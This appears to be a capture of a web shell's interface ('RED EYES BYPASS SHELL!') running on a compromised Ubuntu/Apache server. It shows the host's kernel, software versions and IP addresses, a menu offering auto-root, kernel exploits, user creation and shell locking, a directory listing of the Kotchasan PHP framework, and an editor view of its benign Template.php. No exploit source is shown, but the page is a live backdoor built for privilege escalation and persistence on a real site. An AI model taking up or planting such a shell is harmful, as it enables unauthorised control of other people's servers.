Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
accout /
Kotchasan /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Cache
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Orm
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Psr
[ DIR ]
drwxr-xr-x
Accordion.php
2.59
KB
-rwxr-xr-x
ApiController.php
5.59
KB
-rwxr-xr-x
ApiException.php
431
B
-rwxr-xr-x
ArrayTool.php
16.99
KB
-rwxr-xr-x
CKEditor.php
5.5
KB
-rwxr-xr-x
Collection.php
4.73
KB
-rwxr-xr-x
Config.php
8.7
KB
-rwxr-xr-x
Controller.php
512
B
-rwxr-xr-x
Country.php
31.94
KB
-rwxr-xr-x
Csv.php
9.82
KB
-rwxr-xr-x
Curl.php
8.35
KB
-rwxr-xr-x
Currency.php
12.71
KB
-rwxr-xr-x
DOMNode.php
6.07
KB
-rwxr-xr-x
DOMParser.php
6.58
KB
-rwxr-xr-x
DataTable.php
50.94
KB
-rwxr-xr-x
Database.php
3.26
KB
-rwxr-xr-x
Date.php
8.26
KB
-rwxr-xr-x
Email.php
7.12
KB
-rwxr-xr-x
File.php
4.52
KB
-rwxr-xr-x
Files.php
3.05
KB
-rwxr-xr-x
Form.php
36.01
KB
-rwxr-xr-x
Grid.php
1.02
KB
-rwxr-xr-x
Html.php
21.1
KB
-rwxr-xr-x
HtmlTable.php
6.97
KB
-rwxr-xr-x
Htmldoc.php
4.37
KB
-rwxr-xr-x
Image.php
13.58
KB
-rwxr-xr-x
InputItem.php
20.1
KB
-rwxr-xr-x
InputItemException.php
449
B
-rwxr-xr-x
Inputs.php
4.29
KB
-rwxr-xr-x
KBase.php
561
B
-rwxr-xr-x
Kotchasan.php
2.73
KB
-rwxr-xr-x
Language.php
18.22
KB
-rwxr-xr-x
ListItem.php
7.77
KB
-rwxr-xr-x
Login.php
9.3
KB
-rwxr-xr-x
Menu.php
2.92
KB
-rwxr-xr-x
Mime.php
51.18
KB
-rwxr-xr-x
Model.php
1.31
KB
-rwxr-xr-x
Number.php
2.64
KB
-rwxr-xr-x
ObjectTool.php
3.73
KB
-rwxr-xr-x
Password.php
2.97
KB
-rwxr-xr-x
Pdf.php
43.15
KB
-rwxr-xr-x
Province.php
11.71
KB
-rwxr-xr-x
Router.php
5.45
KB
-rwxr-xr-x
Session.php
2.22
KB
-rwxr-xr-x
Singleton.php
1.3
KB
-rwxr-xr-x
Tab.php
3.72
KB
-rwxr-xr-x
Template.php
8.37
KB
-rwxr-xr-x
Text.php
12.89
KB
-rwxr-xr-x
Validator.php
2.7
KB
-rwxr-xr-x
View.php
8.16
KB
-rwxr-xr-x
Xls.php
3.04
KB
-rwxr-xr-x
load.php
15.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Template.php
<?php /** * @filesource Kotchasan/Template.php * * @copyright 2016 Goragod.com * @license https://www.kotchasan.com/license/ * * @see https://www.kotchasan.com/ */ namespace Kotchasan; /** * Template engine * * @author Goragod Wiriya <admin@goragod.com> * * @since 1.0 */ class Template { /** * จำนวนคอลัมน์ สำหรับการแสดงผลด้วย Grid * * @var int */ protected $cols = 0; /** * แอเรย์ของข้อมูล * * @var array */ protected $items; /** * ตัวแปรสำหรับการขึ้นแถวใหม่ (Grid) * * @var int */ protected $num; /** * ชื่อ template ที่กำลังใช้งานอยู่ รวมโฟลเดอร์ที่เก็บ template ด้วย * นับแต่ DOCUMENT_ROOT เช่น skin/default/ * * @var string */ protected static $src; /** * ข้อมูล template * * @var string */ private $skin; /** * ฟังก์ชั่นกำหนดค่าตัวแปรของ template * ฟังก์ชั่นนี้จะแทนที่ตัวแปรที่ส่งทั้งหมดลงใน template ทันที * * @param array $array ชื่อที่ปรากฏใน template รูปแบบ array(key1=>val1,key2=>val2) * * @return \static */ public function add($array) { if ($this->cols > 0 && $this->num == 0) { $this->items[] = "</div>\n<div class=row>"; $this->num = $this->cols; } $this->items[] = self::pregReplace(array_keys($array), array_values($array), $this->skin); --$this->num; return $this; } /** * โหลด template * ครั้งแรกจะตรวจสอบไฟล์จาก module ถ้าไม่พบ จะใช้ไฟล์จาก owner * * @assert ('', '', 'FileNotFound')->isEmpty() [==] true * * @param string $owner ชื่อโมดูลที่ติดตั้ง * @param string $module ชื่อโมดูล * @param string $name ชื่อ template ไม่ต้องระบุนามสกุลของไฟล์ * * @return \static */ public static function create($owner, $module, $name) { return self::createFromHTML(self::load($owner, $module, $name)); } /** * โหลด template จากไฟล์ * * @assert ('FileNotFound') [throws] InvalidArgumentException * * @param string $filename * * @throws \InvalidArgumentException ถ้าไม่พบไฟล์ * * @return \static */ public static function createFromFile($filename) { if (is_file($filename)) { return self::createFromHTML(file_get_contents($filename)); } else { throw new \InvalidArgumentException('File not found '.$filename); } } /** * สร้าง template จาก HTML * * @param string $html * * @return \static */ public static function createFromHTML($html) { $obj = new static(); $obj->skin = $html; $obj->items = array(); $obj->num = -1; return $obj; } /** * คืนค่าไดเร็คทอรี่ของ template ตั้งแต่ DOCUMENT_ROOT เช่น skin/default/ * * @return string */ public static function get() { return self::$src; } /** * ฟังก์ชั่นตรวจสอบว่ามีการ add ข้อมูลมาหรือเปล่า * คืนค่า true ถ้ามีการเรียกใช้คำสั่ง add มาก่อนหน้า, หรือ false ถ้าไม่ใช่ * * @return bool */ public function hasItem() { return empty($this->items) ? false : true; } /** * กำหนด template ที่ต้องการ * * @param string $skin ไดเร็คทอรี่ของ template ตั้งแต่ DOCUMENT_ROOT ไม่ต้องมี / ปิดท้าย เช่น skin/default */ public static function init($skin) { self::$src = $skin == '' ? '' : $skin.'/'; } /** * ฟังก์ชั่นใส่ HTML ลงใน template ตรงๆ * ใช้สำหรับแทรก HTML ลงระหว่างแต่ละรายการ * * @param string $html โค้ด HTML * * @return \static */ public function insertHTML($html) { $this->items[] = $html; return $this; } /** * ตรวจสอบว่ามีไฟล์ Template ถูกเลือกหรือไม่ * คืนค่า true ถ้าไม่พบไฟล์ Template หรือ Template ว่างเปล่า, อื่นๆคืนค่า False * * @return bool */ public function isEmpty() { return $this->skin == ''; } /** * โหลด template * ครั้งแรกจะตรวจสอบไฟล์จาก $module ถ้าไม่พบ จะใช้ไฟล์จาก $owner * ถ้าไม่พบคืนค่าว่าง * * @param string $owner ชื่อโมดูลที่ติดตั้ง * @param string $module ชื่อโมดูลที่ลงทะเบียน * @param string $name ชื่อ template ไม่ต้องระบุนามสกุลของไฟล์ * * @return string */ public static function load($owner, $module, $name) { $src = APP_PATH.self::$src; if ($module != '' && is_file($src.$module.'/'.$name.'.html')) { return file_get_contents($src.$module.'/'.$name.'.html'); } elseif ($owner != '' && is_file($src.$owner.'/'.$name.'.html')) { return file_get_contents($src.$owner.'/'.$name.'.html'); } elseif (is_file($src.$name.'.html')) { return file_get_contents($src.$name.'.html'); } return ''; } /** * ฟังก์ชั่น preg_replace * * @assert ('/{TITLE}/', 'Title', '<b>{TITLE}</b>') [==] '<b>Title</b>' * @assert ('/{LNG_([\w\s\.\-\'\(\),%\/:&\#;]+)}/e', '\Kotchasan\Language::parse(array(1=>"$1"))', '<b>{LNG_Language test}</b>') [==] '<b>Language test</b>' * * @param array $patt คีย์ใน template * @param array $replace ข้อความที่จะถูกแทนที่ลงในคีย์ * @param string $skin template * * @return string */ public static function pregReplace($patt, $replace, $skin) { if (!is_array($patt)) { $patt = array($patt); } if (!is_array($replace)) { $replace = array($replace); } foreach ($patt as $i => $item) { $text = $replace[$i] === null ? '' : $replace[$i]; if (preg_match('/(.*\/(.*?))[e](.*?)$/', $item, $patt) && preg_match('/^([\\\\a-z0-9]+)::([a-z0-9_\\\\]+).*/i', $text, $func)) { $skin = preg_replace_callback($patt[1].$patt[3], array($func[1], $func[2]), $skin); } else { $skin = preg_replace($item, $text, $skin); } } return $skin; } /** * คืนค่า HTML ถ้าไม่พบ template คืนค่าว่าง * * @return string */ public function render() { if ($this->cols === 0) { // template return empty($this->items) ? $this->skin : implode("\n", $this->items); } elseif (!empty($this->items)) { // grid return "<div class=row>\n".implode("\n", $this->items)."\n</div>"; } return ''; } }
Close